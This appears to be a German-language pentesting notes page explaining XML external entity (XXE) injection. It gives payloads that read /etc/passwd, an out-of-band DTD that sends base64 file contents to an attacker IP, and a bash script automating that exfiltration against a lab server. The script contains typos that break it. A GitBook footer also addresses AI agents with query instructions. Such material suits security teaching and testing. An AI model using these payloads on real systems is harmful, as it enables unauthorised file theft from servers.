> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/de/web-vulnerabilities/owasp-top-10-vulnerabilities/vulnerability-xml-external-entity-injection-xxe/xxe-techniques-pentesting-web.md).

# XXE-Techniken

Hier ist die Struktur einer verarbeiteten Anfrage mit Burp Suite auf der anfälligen XML-Seite:

<figure><img src="/files/9c7e2e037458dcb6ae27ff1fcee6809ac7d499f4" alt="" width="563"><figcaption></figcaption></figure>

<figure><img src="/files/763f1a822fe4c77a3d005effe48fb601b439ce88" alt="" width="563"><figcaption></figcaption></figure>

## XML-External-Entity-Injection:

> In dem Fall, in dem der Webserver die von ihm empfangenen XML-Daten nicht ordnungsgemäß validiert, können Angreifer XXE ausnutzen, indem sie eine bösartige XML-Entität einschleusen, die Verweise auf Systemdateien enthält, auf die der Server zugreifen kann. Dies kann dem Angreifer ermöglichen, sensible Informationen des Systems zu erhalten, wie Passwörter, Benutzernamen, API-Schlüssel und andere vertrauliche Daten. Um auf das Dateisystem zuzugreifen, sollten wir ein neues **Entität**, zum Beispiel "myFile", wie folgt: `<!DOCTYPE foo [<!ENTITY myFile SYSTEM "file:///etc/passwd">]>` Dann sollten wir in einer Variable das Ergebnis mit "**/\&myFile**" wie folgt:

<figure><img src="/files/f313e7a57fe3aad4cecb730a234e1981db0c9406" alt=""><figcaption></figcaption></figure>

Manchmal wird das Ergebnis nicht richtig angezeigt. In diesem Fall könnten wir die folgende Deklaration verwenden: `<!DOCTYPE foo [<!ENTITY myFile SYSTEM "php://filter/convert.base64-encode/resource=/etc/passwd">]>` Dann dekodieren wir den resultierenden Base64-Inhalt wieder in seine normale Form. Dadurch würde eine Datei im Dateisystem, etwa "/etc/passwd", referenziert, und indem wir sie mit "/\&myFile;" ausgeben, könnten wir den Inhalt der Datei ohne Fehler anzeigen.

## XXE mit Out-of-Band-Interaktion:

> Manchmal führen XML-External-Entity-Injection-Angriffe (XXE) nicht immer direkt zur Offenlegung sensibler Informationen in der Antwort des Servers. In einigen Fällen muss der Angreifer "blind" vorgehen, um vertrauliche Informationen über zusätzliche Techniken zu erhalten. Eine gängige Methode für Blind-XXE besteht darin, speziell präparierte Anfragen zu senden, die den Server dazu bringen, eine extern definierte Document Type Definition (DTD) zu kontaktieren. Die DTD validiert die XML-Dateistruktur und kann Verweise auf externe Ressourcen enthalten, wie Dateien im Dateisystem des Servers. Erstellen Sie eine Datei **malicious.dtd** mit dem folgenden Inhalt:

```xml
<!ENTITY % file SYSTEM "php://filter/convert.base64-encode/resource=/etc/passwd">
<!ENTITY % eval "<!ENTITY &#x25; exfil SYSTEM 'http://192.168.71.128/?file=%file;'>">
%eval;
%exfil;

```

Erstellen Sie eine **Entität** mit dem folgenden Inhalt:

```xml
<!DOCTYPE foo [<!ENTITY % xxe SYSTEM "http://192.168.71.128/malicious.dtd"> %xxe;]>

```

<figure><img src="/files/1b320e0fd4d1ec3a61cd466d5a223fbf2227530e" alt=""><figcaption></figcaption></figure>

Starten Sie einen Listener auf **Port 80**:

<figure><img src="/files/61cdb88dc1f9d8dda6b25414e123357877a02968" alt="" width="563"><figcaption></figcaption></figure>

Rufen Sie den Inhalt in **base64**:

<figure><img src="/files/61cdb88dc1f9d8dda6b25414e123357877a02968" alt="" width="563"><figcaption></figcaption></figure>

Konvertieren Sie den **base64** Wert in lesbaren Inhalt um, und das Ergebnis ist das folgende:

<figure><img src="/files/152dcf385b68a79fd39334bd10c500629df2ed27" alt="" width="563"><figcaption></figcaption></figure>

Das folgende Bash-Skript automatisiert den gesamten Prozess:

```bash
#!/bin/bash
echo -ne "[+] Enter the file to read: " && read -r myFilename
malhereuos_dtd="""
<!ENTITY % file SYSTEM "php://filter/convert.base64-encode/resource=$myFilename">
<!ENTITY % eval "<!ENTITY &#x25; exfil SYSTEM 'http://192.168.0.50/?file=%file;'>">
%eval;
%exfil; """
echo $malicious_dtd > malicious.dtd
python3 -m http.server 80 &>response &
PID=$!
sleep 1; echo
curl -s -X POST "http://localhost:5000/process.php" -d '<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [<! ENTITY % xxe SYSTEM "http://192.168.0.50/malicious.dtd"> %xxe;]>
<root><name><email>test@test.com</email></name></root>' &>/dev/null
cat response  | grep -oP "/?file=/K[^.*]+" | base64 -d
kill -9 $PID
wait $PID 2>/dev/null
rm response 2>/dev/null

```


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/de/web-vulnerabilities/owasp-top-10-vulnerabilities/vulnerability-xml-external-entity-injection-xxe/xxe-techniques-pentesting-web.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
